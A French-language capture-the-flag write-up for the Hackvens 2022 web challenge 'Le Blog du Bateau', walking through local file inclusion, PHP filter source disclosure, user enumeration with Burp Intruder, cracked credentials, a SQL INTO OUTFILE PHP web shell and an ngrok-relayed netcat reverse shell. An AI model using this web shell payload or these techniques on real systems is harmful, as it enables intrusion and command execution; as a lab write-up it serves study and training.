Le Blog du Bateau

Challenge Web - Hackvens 2022 à Rennes

Le Blog du bateau - Hackvens 2022

Web - 100 points

Commençons par nous rendre sur la page d’accueil du site fourni dans l’énoncé (https://blog.hackvens.fr/). Nous arrivons donc sur cette page :

Screenshot 2022-10-09 at 18-31-30 https __blog.hackvens.fr.png

Au premier coup d’oeil, on remarque que le site est très léger, peu de contenus fournis.

Nous allons donc faire un tour du site pour trouver un élément intéressant.

Page Blog

Screenshot 2022-10-09 at 18-31-30 https __blog.hackvens.fr.png

Page About

https://i.imgur.com/c8k8cJV.png

Sur la page about, on ne trouve rien d’intéressant. Du côté de la page blog, nous avons 5 articles avec tous le même contenu donc peu intéressant.

Nous remarquons cependant que le format de l’URL pour accéder aux différentes pages suit le modèle suivant : https://blog.hackvens.fr/?view=nomDeLaPage

Rapidement, on se rend compte qu’une LFI est réalisable ici via le paramètre view :

Capture1.PNG

En incluant le fichier robots.txt, on se rend compte qu’un répertoire appelé manager existe.

On a également un wordlist d’Username avec une indication nous informant que ça pourrait être utile.

Une fois sur la page /manager (https://blog.hackvens.fr/manager), on tombe sur ce formulaire de connexion d’un outil appelé DbNinja.

Screenshot 2022-10-09 at 18-45-02 DbNinja MySQL Manager Login.png

DbNinja est une application web permettant de gérer ses bases de données MySQL.

On vas directement chercher s’il existe des credentials par défaut. On en trouve pas, cependant, on tombe sur une documentation intéressante de DbNinja qui évoque des dossiers _users et _includes

Revenons sur notre LFI.

Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant qu'elles ne soient lues ou écrites. Nous allons donc essayer d’utiliser le filtre de conversion convert.base64-encode afin de convertir le code de la page d’accueil en base64 et de nous l’afficher sans être interprété (étant donné qu’il s’agit d’une page PHP).

Capture2.PNG

Le filtre fonctionne sur la page d’accueil. Une fois décodée, elle ne contient rien d’intéressant.

Essayons maintenant sur la page blog.php. Une fois décodée, on tombe directement sur des identifiants.

Screenshot 2022-10-09 at 19-16-21 Base64 Decode and Encode - Online.png

Username : skipper

Password : Sk1pSk1pingSk1pSk1ping

Ces credentials ne fonctionnent pas sur le manager.

Essayons donc d’inclure en base64 la page d’accueil du manager DbNinja.

Capture3.PNG

Screenshot 2022-10-09 at 19-26-21 Base64 Decode and Encode - Online.png

On trouve donc quelques éléments peut-être intéressants. On y trouve plusieurs noms de fichiers :

  • _users/{$f}/userdata.php
  • _includes/putes.php
  • _includes/dbninja.php
  • _includes/common.php
  • _includes/auth.php

En incluant le fichier dbninja.php, ça nous retourne la version de l’application, ici 3.2.7.

Nous allons voir plus en détail le fichier userdata.php créé pour chaque utilisateur. Nous avons eu plus haut une courte liste d’utilisateurs. Avec Burp Suite dans l’onglet Intruder, nous avons la possibilité de modifier l’utilisateur à chaque requête afin de voir si un utilisateur existe en fonction de la réponse du site web :

Capture4.PNG

Dans Payload, rentrez la liste d’utilisateurs comme ceci :

Capture5.PNG

Une fois l’attaque lancée, la grosse majorité des réponses ont une longueur d’environ 2880. Cependant, on a une réponse avec une longueur d’environ 3250 pour l’utilisateur adm.

On va donc décoder la réponse en base64 :

Capture6.PNG

On tombe sur quelque chose de très intéressant, ce qui ressemble à un mot de passe chiffré en SHA1.

Une fois déchiffré, on obtient un mot de passe en clair : Supercalifragilisticexpialidocious

On aurait donc un combo adm:Supercalifragilisticexpialidocious.

Le combo fonctionne bien sur le /manager, on tombe donc sur le panel DbNinja

Screenshot 2022-10-09 at 19-46-59 DbNinja MySQL Manager.png

En voulant accéder à la base de données, il nous est demandé de rentrer le mot de passe de l’utilisateur skipper (Sk1pSk1pingSk1pSk1ping) :

Capture7.PNG

Une fois le mot de passe entré, on peut afficher la base de données blogDuBateau qui contient la table articles.

Après quelques essais, on se rend compte qu’on ne peut ni UPDATE, ni DELETE…

Malgré ça, en naviguant dans le DbNinja, on a accès au “Query Editor” qui nous permet d'effectuer des commandes SQL.

Après quelques recherches sur Google, on tombe sur cet article. Il nous explique comment à partir d’une requête SQL obtenir un shell. En utilisant la commande suivante, on créera un fichier qui nous permettra d’exécuter des commandes via le paramètre CMD :

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/doubletake.php'
                        

Testons maintenant notre commande :

Capture9.PNG

En parcourant le serveur, on remarque l’emplacement du fichier flag.txt obtenable en exécutant le binaire getflag (utilisable via l’utilisateur skiper suite à la présence de la permission SUID).

Capture10.PNG

Pour pouvoir l’exécuter, nous devons utiliser un shell TTY. Il faut donc passer sur un reverse shell.

Pour se faire et étant donné que nous ne sommes pas dans le même réseau que le serveur, nous allons utiliser NGrok :

sudo ngrok tcp 1234
nc -lvnp 1234

Sur le site web, nous avons accès au binaire /bin/nc donc on exécute facilement notre requête :

Capture11.PNG

Capture12.PNG

Notre reverse shell est fonctionnel. Il nous reste simplement à exécuter le binaire getflag pour afficher le ficher flag.txt :

Capture13.PNG

Merci de votre lecture :)